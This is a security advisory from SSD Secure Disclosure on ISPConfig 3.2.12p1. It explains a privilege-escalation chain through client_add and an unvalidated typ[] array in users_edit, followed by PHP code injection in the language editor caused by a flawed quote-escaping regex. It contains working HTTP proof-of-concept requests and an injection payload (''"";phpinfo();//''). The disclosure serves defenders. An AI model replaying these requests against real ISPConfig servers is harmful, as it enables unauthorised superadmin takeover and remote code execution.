SSD Advisory – ISPConfig Authenticated Remote Code Execution

Summary

The analysis conducted on the product: ISPConfig version: 3.2 build: 12p1 was carried out using the official installation package. The analysis identified primarily design flaws in the user creation/edit functionality, which allow a client user to escalate their privileges to superadmin. Additionally, the language modification feature enables arbitrary PHP code injection due to improper input validation.

Credit

An independent security researcher, z3er01 of zeronvll, working with SSD Secure Disclosure.

Vendor Response

The vendor claims that the reported vulnerabilities do not pose a threat as they require elevated privileges – we have tried to argue that the privileges required are admin privileges and not super admin privileges – which are given quite often by companies that use ISPConfig, but we were unable to reach an agreement.

Affected Versions
  • ISPconfig v3.2.12p1
Technical Analysis

The conducted research revealed that an authenticated remote user, with access to ISPConfig, can escalate their privileges due to improper logic and validation of HTTP parameters in the user edit functionality, thus gaining access to the instance with superadmin privileges. Subsequently, the user can inject arbitrary PHP code through the language edit functionality, leading to arbitrary code execution.

In ISPConfig, there are two main roles: user and admin. The first user created during the appliance installation has ID 1 and is considered a superadmin for certain critical functionalities (which can be viewed as a third role).

From these two main categories, various types of user accounts can be derived, which can be grouped into the following categories:

  1. CP Users (Control Panel Users): Users with direct access to the ISPConfig control panel. They have limited privileges based on the assigned role (e.g., client, reseller, admin).
  2. Remote Users: Users authenticated externally via API for specific actions (e.g., email or DNS management).
  3. Client: The end user who manages assigned services (such as websites, email, and databases). They are limited to the resources of their own account and do not have access to global settings.
  4. Reseller: Users who create and manage Clients, assign resources (such as space and domains), but cannot modify system or server configurations.

Remote Users with the Client Functions enabled have the ability to compromise the ISPConfig instance and execute system commands as the ispconfig system user.

This vulnerability arises because ISPConfig implements flawed logic and inadequate input validation, which allows for the creation of the following:

  • A Client user with the admin module enabled via the client_add method. After this, the created Client user can, in turn, create an administrator account, as the two main checks in ISPConfig fail to properly validate the enabled module and the type of user being created.
    • The first check is bypassed because the Remote User can create a client with the admin module enabled.
    • The second check is implemented in the code by verifying that the first value of the typ[] parameter (which is an array) is not “admin.” This means that by passing two parameters in the request body, such as typ[0] and typ[1], where the first is not set and the second specifies the “admin” role, the Client user can create an admin user in the instance.

Once the admin user is created, the same vulnerability allows them to modify the superadmin user and subsequently access the instance as the superadmin.

After successfully escalating privileges, the former Remote User can interact with the language modification functionality. In this case, improper input validation and escaping allow the user to inject arbitrary PHP code into the language file, which is then included in the code across various pages of the application. The main check in this case concerns the use of a regex that fails to properly escape all double-quote characters (").

Laboratory Analysis Setup

To replicate the scenarios and findings detailed in this report, an overview of the test lab used during the audit activities is provided.

This overview is not to be considered a real-world scenario and/or product configuration but merely as a laboratory setup employed to test and reproduce the findings.

Laboratory Layout Diagram
  • VMware® Workstation 17 Pro: version 17.6.1 build-24319023
  • Debian 12 with ISPConfig version 3.2 12p1

To install ISPConfig 3 on a Debian 12 machine, the guide available at this link was followed: https://www.howtoforge.com/ispconfig-autoinstall-debian-ubuntu/. The installation guide is designed for Debian 11 and Debian 12, Ubuntu 22.04, or Ubuntu 24.04.

Despite the fact that the research conducted is based on the present laboratory and the initial installation and configuration of the system, carried out according to the provided guide, the identified vulnerabilities and the proof of concept code included in this document or as attachment/support materials, are applicable to all installations of ISPConfig version 3.2 12p1. It is also specified that previous versions were not part of this research, although it is highly likely (99.9%) that they also present the same vulnerabilities, and that the exploit proof of concept code functions in the same way.

Privilege Escalation through users_edit functionality

ISPConfig allows Remote Users with Client Functions enabled to perform privilege escalation by creating/modifying users, ultimately gaining access as an administrator with id=1 (“superadmin“), as it is possible to bypass existing controls through a specially crafted request body.

Starting from the following Remote User, which is created based on the configuration file interface/web/client/lib/remote.conf.php, by enabling the Client functions that allow the invocation of the client_add function from the remoting_client class, it is possible to gain access to ISPConfig as a superadmin user. This can be done by first creating a client user using the admin module, then creating an admin user from the client account, and finally “modifying” the superadmin user.

The client_add function handles the addition of a new client:

The function first checks if the user has the necessary permissions to add a client. Then, it performs several checks before calling the klientadd function.

  protected function klientadd($formdef_file, $reseller_id, $params)
  {
    global $app;

    //* Load the form definition
    $app->remoting_lib->loadFormDef($formdef_file);

    //* load the user profile of the client
    $app->remoting_lib->loadUserProfile($reseller_id);

    //* Get the SQL query
    $sql = $app->remoting_lib->getSQL($params, 'INSERT', 0);

    //* Check if no system user with that username exists
    $username = $params["username"];
        ...

    //$app->uses('tform');
    //* Save changes to Datalog
    if($app->remoting_lib->formDef["db_history"] == 'yes') {
      $new_rec = $app->remoting_lib->getDataRecord($insert_id);
      $app->remoting_lib->datalogSave('INSERT', $primary_id, array(), $new_rec);
      $app->remoting_lib->ispconfig_sysuser_add($params, $insert_id);

      if($reseller_id) {
        $client_group = $app->db->queryOneRecord("SELECT * FROM sys_group WHERE client_id = ?", $insert_id);
        $reseller_user = $app->db->queryOneRecord("SELECT * FROM sys_user WHERE client_id = ?", $reseller_id);
        $app->auth->add_group_to_user($reseller_user['userid'], $client_group['groupid']);
        $app->db->query("UPDATE client SET parent_client_id = ? WHERE client_id = ?", $reseller_id, $insert_id);
      }

    }
    return $insert_id;
  }

The klientadd function handles the addition of a new client by calling the ispconfig_sysuser_add function.

The ispconfig_sysuser_add function creates a new user in the ISPConfig system by retrieving the necessary parameters, checking the startup module, creating a group associated with the user, encrypting the password, and inserting the user data into the database, including access modules and customer information.

The function itself does not perform checks on the modules that the remote user can assign to the user they are creating. This means that a remote user with “Client functions” enabled is able to create a new client with the admin module enabled.

Creating a client with the admin module enabled allows the invocation of the file web/admin/users_edit.php, as the system only checks for the presence of the admin module in the user session (which will be set during the login of the user created by the remote user).

In the code of update_users.php, at line 57, there is a check that is triggered when attempting to create a user with the admin role (typ[0] == admin). This check verifies a specific security setting called admin_allow_new_admin, which is found in the file security/security_settings.ini. By default, this setting is configured as superadmin, meaning that only the user with the “admin” role and ID 1 (superadmin) is allowed to create new admin users. If, however, this setting were set to “yes,” all users with the admin role would have the ability to create new administrators.

However, this check can be easily bypassed. In fact, typ is an array, and the code only checks if the first element of this array is “admin” (typ[0] == admin). This means that the request can be manipulated by passing, for example, typ[0]=&typ[1]=admin, causing the check to fail and allowing the creation of a new user with the admin role.

The need to first create an admin user and then later modify the user with id=1 (superadmin) is dictated by the getSQL function of the tform_action class (interface/lib/classes/tform_actions.inc.php), loaded at the beginning of the file: $app->load('tform_actions');

Very briefly, if the user performing an UPDATE or INSERT is not an admin user, the function will deny the execution of the update or insert query.

So, the customer user will be able to create the admin user simply by setting the typ array at position [1] to admin, and then later repeat the same request with the admin user just created, but by setting the id parameter to 1.

Proof of Concept
  • Creation of client user with admin module via Remote User.
POST /remote/json.php?client_add HTTP/2
Host: ispconfig.zerone.local
User-Agent: PHP-SOAP/8.2.27
Content-Type: application/json;
Content-Length: 292

{"session_id":"m9314f1bb9b12fbbf908a49bfd889e51db9036ebf","params":{"contact_name":"user1",
"language":"it","email":"tester@ssd.com","username":"user1","password":"Belen123!","ssh_chroot":"/dev/null","startmodule":"admin","modules":"admin","web_php_options":["php-fpm"],"limit_cron_type":1}}
  • Login into ISPConfig with the newly created client user (user1).
  • Execution of request with modification and addition of typ parameter for admin user creation from user1
POST /admin/users_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=2rlr4lqviuvnmm7lh6p23ea2ge
Content-Length: 350
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

username=adminuser&passwort=Belen123!&repeat_password=Belen123!&otp_type=none&modules%5B%5D=admin&startmodule=admin&app_theme%5B%5D=default&typ%5B%5D=&typ[]=admin&active=1&language=en&lost_password_function=1&id=&_csrf_id=users_53dfd12fbf9553e7e78da358&_csrf_key=2869a8ca7f364bea061b7142ff0b5bbcd5b0ba3c&next_tab=&phpsessid=2rlr4lqviuvnmm7lh6p23ea2ge

One should have a situation similar to:

  • Loggin in as: adminuser
  • Execution of the request with the id parameter modified to 1 and the addition of the typ parameter to create a superadmin user from an admin user.
POST /admin/users_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=6t64khno1jle0ch59cf7muohv1
Content-Length: 350
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

username=superadmin&passwort=Belen123!&repeat_password=Belen123!&otp_type=none&modules%5B%5D=admin&startmodule=admin&app_theme%5B%5D=default&typ%5B%5D=&typ[]=admin&active=1&language=en&lost_password_function=1&id=1&_csrf_id=users_0d08bd09f4844c039571391d&_csrf_key=f2923b3ff88b300521a71d4a6b76c4f1eb90d2c7&next_tab=&phpsessid=6t64khno1jle0ch59cf7muohv1

Now the situation should be similar to:

Code Injection in language_edit functionality

The language modification feature, accessible from the ISPConfig control panel under _System > Language Editor > Languages_, allows the injection of arbitrary PHP code due to improper validation of user input, which is partially filtered using regex.

The code in interface/web/admin/language_edit.php handles the editing of language files in ISPConfig, allowing the administrator (“superadmin”) to modify and save translations through the control panel.

ISPConfig uses files with the .lng extension to manage translations of the user interface in different languages. These files contain translated strings for the ISPConfig interface. They are essentially PHP code defining an associative array $wb with the translations (e.g. $wb['key'] = 'translated value.'), and are directly included in the code.

Upon analyzing the code responsible for modifying these files, it is evident that it uses regex (line: 65) to escape any " characters in order to prevent potential attempts of arbitrary PHP code injection when reconstructing the array (line: 68).

In detail: the initial step involves verifying the data that has been submitted. This includes checking whether the variable $_POST['records'] exists and confirming that it is an array.

Subsequently, the CSRF check is conducted: $app->auth->csrf_token_check().

Following this, the content of the PHP file is generated. A string is initialized, starting with the PHP opening tag (<?php\n), to which additional lines are appended. For each element within the $_POST['records'] array:

The foreach function iterates through each element of the array $_POST['records']. Each element of the array is treated as a key/value pair, where $key is the key of the element and $val is the value associated with the key.

  1. Any escape characters are removed using the stripslashes() function:
    • $val = stripslashes($val);
  2. The preg_replace() function uses a regular expression (regex) to search for and modify “all” occurrences of double quotes (") in the value $val.
    • It searches for double quotes (") that are not preceded by a backslash.
    • It replaces them with an “escaped” version of the quote, i.e. \".
      • $val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
  3. The str_replace() function removes all occurrences of the dollar sign ($) from the string $val.

Additionally, it is verified that the key of each record is valid, allowing only letters, numbers, and underscores. If any key is deemed invalid, the process is halted and an error is triggered.

The critical flaw in the code occurs in line 65, specifically within the regex pattern /(^|[^\\\\])((\\\\\\\\)*)"/:

The regex uses the group (^|[^\\\\]) to enforce a rule: a double quote (") must either be at the start of the string (^) or preceded by a non-backslash character ([^\\\\]). While this logic works for isolated quotes, it breaks for consecutive quotes due to how the regex engine processes characters.

  • Character Consumption:
The `(^|[^\\\\])` group consumes a character (either the start-of-string position or a non-backslash character). Once matched, the regex engine advances past this character.

For example: Evil_Str""ing

  • First ":
    • The regex matches r (a non-backslash character) and the following ".
    • Result: r"r\" (escaped).
    • The regex engine moves to the next position after the first ".
  • Second ":
    • The next character is the second ", but there’s no preceding character to match (^|[^\\\\]) (the previous position was already consumed).
    • The regex fails to recognize the second " because it now expects either:
      • The start of the string (^), which no longer applies.
      • A non-backslash character, but the position before the " is empty.

Outcome: Only the first " is escaped. The second " remains unprocessed.

The regex’s (^|[^\\\\]) group acts like a “character tax” – it requires and consumes a character (start-of-string or non-backslash) to escape a ". This design makes it impossible to handle consecutive " because once a character is “taxed” (consumed), subsequent quotes have nothing left to satisfy the rule.

<?php
$val = 'Ev"il_Str""ing';
echo("BEFORE REGEX: " . $val);
$val = stripslashes($val);
$val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
echo("\nAFTER REGEX: " . $val);
BEFORE REGEX: Ev"il_Str""ing
AFTER REGEX: Ev\"il_Str\""ing

It all becomes clearer visually:

Proof of Concept
POST /admin/language_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=omitted
Content-Length: 3670
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

records%5Berror_user_password_empty%5D=Username+or+Password+empty.&records%5Berror_user_password_incorrect%5D=Username+or+Password+wrong.%22%22%3Bphpinfo()%3B%2F%2F&records%5Berror_user_blocked%5D=&<omitted_for_brevity>&_csrf_id=language_edit_f114571ae5cb1c5b1230c798&_csrf_key=813f4ce414360a414fb7c140ea1e00344e2cd69a

Chain Scenario

By exploiting the vulnerabilities outlined in this document, it is possible to achieve arbitrary code execution on the target system. Specifically, through a remote client user can escalate their privileges, gaining administrator access with user ID 1 (superadmin). As a superadmin, they are able to interact with the language modification functionality, which allows the insertion of arbitrary PHP code.

?

Get in touch

Skip to content